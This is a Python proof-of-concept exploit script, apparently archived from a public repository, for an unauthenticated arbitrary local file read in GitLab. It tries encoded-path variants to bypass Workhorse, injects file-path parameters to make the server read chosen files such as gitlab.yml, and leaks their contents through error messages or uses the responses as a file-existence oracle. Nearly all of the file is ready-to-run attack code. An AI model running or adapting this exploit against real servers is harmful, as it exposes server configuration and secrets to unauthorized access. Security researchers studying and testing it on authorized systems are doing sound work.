#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/guneykabel/cve-2026-85706 (see README for attribution/license)
"""CVE-2026-85706 — GitLab unauthenticated arbitrary local file read (PoC).

Usage please only tests against authorized systems:
  ./exploit.py --url http://localhost:8080 --file /etc/hostname
  ./exploit.py --url http://localhost:8080 --file /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
"""

import argparse
import re
import sys
from urllib.parse import quote, urlencode
import requests

requests.packages.urllib3.disable_warnings()

USER_AGENT = "cve-2026-85706-poc/2.0" # make sure

COMMITS_BYPASS_PATHS = [
    "/api/v4/projects/{id}/repository/%63ommits",      # encoded 'c' in "commits"
    "/api/v4/projects/{id}/%72epository/commits",      # encoded 'r' in "repository"
    "/api/v4/projects/{id}/repository/commits/",       # trailing slash
    "/api/v4/projects/{id}/repository/commits.json",   # Grape format suffix
]
FILES_BYPASS_PATHS = [
    "/api/v4/projects/{id}/repository/%66iles/{fp}",   # encoded 'f' in "files"
    "/api/v4/projects/{id}/%72epository/files/{fp}",
]

REWRITE_HAPPENED = "Invalid json"          # Workhorse owned the request; params replaced
NOT_PRESENT = "local file not present"     # bypass OK, but target missing/unreadable


def normalize_url(url: str) -> str:
    url = url.rstrip("/")
    if not url.startswith("http"):
        url = "https://" + url
    return url

SESSION = requests.Session()

def probe(base, path, method, target_file):
    query = urlencode({
        "file": "",
        "file.path": target_file,
        "file.size": "1",
        "Content-Type": "application/x-www-form-urlencoded",
    })
    req = requests.Request(method, base, headers={"User-Agent": USER_AGENT}).prepare()
    req.url = f"{base}{path}?{query}"
    r = SESSION.send(req, timeout=15, verify=False)
    return r.status_code, r.text


def classify(status, body):
    """Map a response onto the state of the exploit chain."""
    if REWRITE_HAPPENED in body and "message" in body:
        return ("rewrite", "Workhorse intercepted the request (path form unusable)")
    if NOT_PRESENT in body:
        return ("missing", "bypass OK, handler reached, but File.exist? failed")
    m = re.search(r"Invalid parameter: invalid %-encoding \((.*)\)", body, re.S)
    if m:
        return ("leak", m.group(1))
    m = re.search(r"Invalid parameter type: (.*)", body, re.S)
    if m:
        return ("leak-fragment", m.group(1))
    if status == 401:
        return ("read-noecho", "file exists and was parsed cleanly; no error echo "
                               "(content has no bad %-sequence). Read happened pre-auth.")
    if "branch is required" in body or "commit_message is required" in body:
        return ("read-noecho", "file exists and was parsed cleanly; param validation "
                               "fired after the read. No echo for this content.")
    if "404 Project Not Found" in body:
        return ("project-gate", "Commits API before-block rejected the project "
                                "(needs anonymous read_code; use the Files API instead)")
    if status == 404:
        return ("noroute", "Rails did not route this path form")
    return ("other", body[:200])


def attempt(base, project, target_file):
    """Try every verified bypass form until one reads the target."""
    forms = [("POST", p, "commits") for p in COMMITS_BYPASS_PATHS]
    forms += [("POST", p, "files") for p in FILES_BYPASS_PATHS]
    forms += [("PUT", p, "files") for p in FILES_BYPASS_PATHS]

    fallback = None
    for method, tmpl, kind in forms:
        path = tmpl.format(id=project, fp=quote("x", safe=""))
        try:
            status, body = probe(base, path, method, target_file)
        except requests.RequestException as e:
            print(f"[-] {method} {path}: connection error: {e}")
            continue
        verdict, detail = classify(status, body)
        print(f"[*] {method} {path} -> HTTP {status}: {verdict}")
        if verdict == "leak":
            print(f"[+] CONTENT LEAKED via {kind} {method} {path}:")
            print(detail)
            return True
        if verdict == "leak-fragment":
            print(f"[+] Partial echo via param-name fragment: {detail[:200]}")
            fallback = fallback or (method, path, verdict, detail)
        elif verdict in ("read-noecho", "missing") and fallback is None:
            fallback = (method, path, verdict, detail)

    if fallback:
        print(f"[!] Best non-echo result: {fallback}")
    return False


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-85706 unauthenticated LFI PoC")
    ap.add_argument("--url", default="http://localhost:8080", help="GitLab base URL")
    ap.add_argument("--project-id", default="1",
                    help="Project id. Files API: any value works (read precedes the "
                         "project check). Commits API: must be anonymously readable.")
    ap.add_argument("--file", required=True, help="Absolute path to read on the server")
    args = ap.parse_args()

    base = normalize_url(args.url)
    print(f"[*] Target: {base}  project={args.project_id}  file={args.file}")
    print("[*] Probing Workhorse-bypass forms (no credentials)...")
    ok = attempt(base, args.project_id, args.file)
    if not ok:
        print("[!] No content echo obtained. The file may lack a trigger character "
              "('%' not followed by hex). The read still happens pre-auth; "
              "'read-noecho'/'missing' responses double as a file-existence oracle.")
    return 0 if ok else 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        print("\n[!] Interrupted.")
        sys.exit(130)
